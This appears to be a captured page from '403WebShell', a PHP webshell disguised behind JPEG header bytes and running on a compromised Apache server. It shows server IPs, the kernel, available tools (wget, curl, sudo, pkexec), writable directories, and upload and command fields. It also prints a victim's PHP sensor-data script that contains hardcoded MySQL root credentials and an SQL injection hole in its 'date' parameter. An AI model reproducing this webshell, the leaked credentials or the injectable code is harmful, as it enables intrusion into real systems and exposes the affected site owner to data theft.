????JFIF??x?x????'403WebShell
403Webshell
Server IP : 79.136.114.73  /  Your IP : 13.59.50.189
Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f
System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/appsrv.astacus.se/digitaltwin/sensors/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ Back ]     

Current File : /var/www/appsrv.astacus.se/digitaltwin/sensors/getjson_ecoguard.php
<?php
header ("Access-Control-Allow-Origin: *");
header("Content-type: application/json");

$method = $_SERVER ['REQUEST_METHOD'];
if ($method == "OPTIONS") {
     die ();
}

	session_start();
	$link = mysql_connect ("localhost", "root", "root123");
	mysql_select_db ("energicontrol");
	
	$resulution = "";
	
$date_from = date('Y-m-d H:i:s', strtotime('-7 days'));
	
	if($_GET['day'] == "true"){
			$date_from = date('Y-m-d H:i:s', strtotime('-24 hours'));
	}

	if($_GET['month'] == "true"){
			$date_from = date('Y-m-d H:i:s', strtotime('-1 month'));
			$resulution = "AND Time LIKE '%00:00'";
	}

	if($_GET['week'] == "true"){
			$date_from = date('Y-m-d H:i:s', strtotime('-1 week'));
			$resulution = "AND Time LIKE '%00:00'";
	}


 	$sql = "SELECT * FROM tblEcoguard WHERE Time >= '".$date_from."' $resulution ORDER BY SensorName, SensorType, Time DESC";

		if($_GET['date'] != ""){
				$date_from = $_GET['date'];
				$sql = "SELECT * FROM tblEcoguard WHERE Time LIKE '".$date_from."%' $resulution ORDER BY SensorName, SensorType, Time DESC";
		}

	$result = mysql_query($sql);

	$sensorname_old  = "";
	$sensortype_old =  "";

	$JSON_SENSORS = array();
	$JSON_TYPES = array();
	$JSON_DATA_ARRAY = array();

  	while ($row = mysql_fetch_assoc($result)){ 
		$JSON_DATA = array();
		
		$sensorname =  $row['SensorName'];
		$sensortype =  $row['SensorType'];
		
		$JSON_DATA['time'] = $row['Time'];
		$JSON_DATA['value'] = $row['Value'];
		$JSON_DATA['type'] =  $row['SensorType'];
		$JSON_DATA['unit'] = $row['SensorUnit'];
		
		$JSON_DATA_ARRAY[] = $JSON_DATA;
		$JSON_TYPES[$sensortype] = $JSON_DATA_ARRAY;
		$JSON_SENSORS[$sensorname] = $JSON_TYPES;
		
		if($sensortype_old != $sensortype){	
			$JSON_DATA_ARRAY = array();
			$sensortype_old = $sensortype;	
		}
		
		if($sensorname_old != $sensorname){
			$JSON_DATA_ARRAY = array();
			$JSON_TYPES = array();
			$sensorname_old = $sensorname;	
		}
	  }

	echo(json_encode($JSON_SENSORS));

?>

Youez - 2016 - github.com/yon3zu
LinuXploit